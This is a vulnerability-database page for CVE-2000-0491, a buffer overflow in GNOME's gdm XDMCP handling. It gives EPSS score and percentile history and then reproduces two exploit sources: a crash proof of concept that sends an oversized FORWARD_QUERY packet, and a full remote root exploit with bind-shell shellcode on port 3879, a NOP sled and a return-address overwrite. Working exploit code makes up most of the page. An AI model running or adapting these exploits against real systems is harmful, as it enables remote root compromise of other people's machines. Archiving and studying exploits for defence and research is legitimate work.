CVE-2000-0491 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	6.79%	–	–
2022-04-03	–	–	6.79%	–	–
2022-05-22	–	–	6.79%	–	–
2023-03-12	–	–	–	7.14%	–
2024-02-11	–	–	–	7.14%	–
2024-06-02	–	–	–	7.14%	–
2024-12-22	–	–	–	7.22%	–
2025-01-19	–	–	–	7.22%	–
2025-03-18	–	–	–	–	6.8%
2025-03-30	–	–	–	–	6.92%
2025-03-30	–	–	–	–	6.92,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	8%
2022-04-03	91%
2022-05-22	92%
2023-03-12	93%
2024-02-11	94%
2024-06-02	94%
2024-12-22	94%
2025-01-19	94%
2025-03-18	91%
2025-03-30	91%
2025-03-30	91%

// source: https://www.securityfocus.com/bid/1233/info A buffer overrun exists in the XDMCP handling code used in 'gdm', an xdm replacement, shipped as part of the GNOME desktop. By sending a maliciously crafted XDMCP message, it is possible for a remote attacker to execute arbitrary commands as root on the susceptible machine. The problem lies in the handling of the display information sent as part of an XDMCP 'FORWARD_QUERY' request. By default, gdm is not configured to listen via XDMCP. The versions of gdm shipped with RedHat 6.0-6.2, Helix GNOME and gdm built from source are not vulnerable unless they were configured to accept XDMCP requests. This is configured via the /etc/X11/gdm/gdm.conf on some systems, although this file may vary. If the "Enable" variable is set to 0, you are not susceptible. /* * breakgdm.c - Chris Evans */ #include <unistd.h> #include <string.h> #include <netinet/in.h> int main(int argc, const char* argv[]) { char deathbuf[1000]; unsigned short s; unsigned char c; memset(deathbuf, 'A', sizeof(deathbuf)); /* Write the Xdmcp header */ /* Version */ s = htons(1); write(1, &s, 2); /* Opcode: FORWARD_QUERY */ s = htons(4); write(1, &s, 2); /* Length */ s = htons(1 + 2 + 1000 + 2); write(1, &s, 2); /* Now we're into FORWARD_QUERY which consists of * remote display, remote port, auth info. Remote display is binary * IP address data.... */ /* Remote display: 1000 A's which incidentally smoke a path * right to the stack */ s = htons(sizeof(deathbuf)); write(1, &s, 2); write(1, deathbuf, sizeof(deathbuf)); /* Display port.. empty data will do */ s = htons(0); write(1, &s, 2); /* Auth list.. empty data will do */ c = 0; write(1, &c, 1); }

// source: https://www.securityfocus.com/bid/1233/info A buffer overrun exists in the XDMCP handling code used in 'gdm', an xdm replacement, shipped as part of the GNOME desktop. By sending a maliciously crafted XDMCP message, it is possible for a remote attacker to execute arbitrary commands as root on the susceptible machine. The problem lies in the handling of the display information sent as part of an XDMCP 'FORWARD_QUERY' request. By default, gdm is not configured to listen via XDMCP. The versions of gdm shipped with RedHat 6.0-6.2, Helix GNOME and gdm built from source are not vulnerable unless they were configured to accept XDMCP requests. This is configured via the /etc/X11/gdm/gdm.conf on some systems, although this file may vary. If the "Enable" variable is set to 0, you are not susceptible. /* * gdm (xdmcp) exploit * written 05/2000 by AbraxaS * * abraxas@sekure.de && www.sekure.de * * * Tested on: SuSE 6.2 / gdm-2.0beta1-4, * RedHat 6.2 / gdm-2.0beta2 * * Offsets: Worked with offsets between 0 and 300 * * Usage: gdmexpl [target] [offset] * * Note: Just a proof of concept. * * Greetings to: dies, grue, lamagra & (silly) peak */ #include <stdio.h> #include <strings.h> #include <unistd.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <netdb.h> #define NOP 0x90 /* lammys bind shell code / binds a shell to port 3879 */ char code[]= "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; int resolve (char *denise) { struct hostent *info; unsigned long ip; if ((ip=inet_addr(denise))==-1) { if ((info=gethostbyname(denise))==0) { printf("Couldn't resolve [%s]\n", denise); exit(0); } memcpy(&ip, (info->h_addr), 4); } return (ip); } int main (int argc, char **argv) { char uhm; int nadine; short blah[6]; char buffy[1400]; /* you might make this buffer bigger to increase the probability to hit the right addy. making the buffer too big could destroy the code though */ unsigned long addy; struct sockaddr_in stephanie; char big_buffy[sizeof(buffy)+12]; if (argc < 3) { printf("\nGDM 2.0betaX exploit by AbraxaS (abraxas@sekure.de)" "\nUsage: %s [target] [offset]\n", argv[0]); exit(0); } addy = 0xbffff8c0-atoi(argv[2]); stephanie.sin_family = AF_INET; stephanie.sin_port = htons (177); stephanie.sin_addr.s_addr = resolve(argv[1]); nadine = socket (AF_INET, SOCK_DGRAM, 0); if (connect(nadine,(struct sockaddr *)&stephanie,sizeof(struct sockaddr))<0) { perror("Connect"); exit(0); } /* filling buffer.buffy with NOPs */ memset(buffy, NOP, sizeof(buffy)); /* cleaning buffer.big_buffy */ bzero(big_buffy, sizeof(big_buffy)); /* * creating XDMCP header */ /* XDM_PROTOCOL_VERSION */ blah[0] = htons(1); /* opcode "FORWARD_QUERY" */ blah[1] = htons(4); /* length (checksum)*/ blah[2] = htons(5+sizeof(buffy)); /* see checksum algorithm */ /* length of display buffer */ blah[3] = htons(sizeof(buffy)); /* display port */ blah[4] = htons(0); /* authlist */ blah[5] = htons(0); *(short *)&big_buffy[0]=blah[0]; *(short *)&big_buffy[2]=blah[1]; *(short *)&big_buffy[4]=blah[2]; *(short *)&big_buffy[6]=blah[3]; *(short *)&big_buffy[sizeof(buffy)+8]=blah[4]; *(short *)&big_buffy[sizeof(buffy)+10]=blah[5]; /* writing shellcode */ memcpy(buffy+sizeof(buffy)-strlen(code), code, strlen(code)); /* fixing some stuff */ *(long *)&buffy[0] = 0x0100007f; /* source address, not neccessary */ *(long *)&buffy[4] = 0x00000000; /* cleaning clnt_authlist */ *(long *)&buffy[8] = 0x00000000; /* writing own RET address */ *(long *)&buffy[32]=addy; /* copying buffy into big_buffy */ memcpy(big_buffy+8, buffy, sizeof(buffy)); /* sending big_buffy */ write(nadine, big_buffy, sizeof(big_buffy)); printf("\nConnect to %s, port 3879 now.", argv[1]); printf("\nBut behave :) --abraxas\n"); close(nadine); }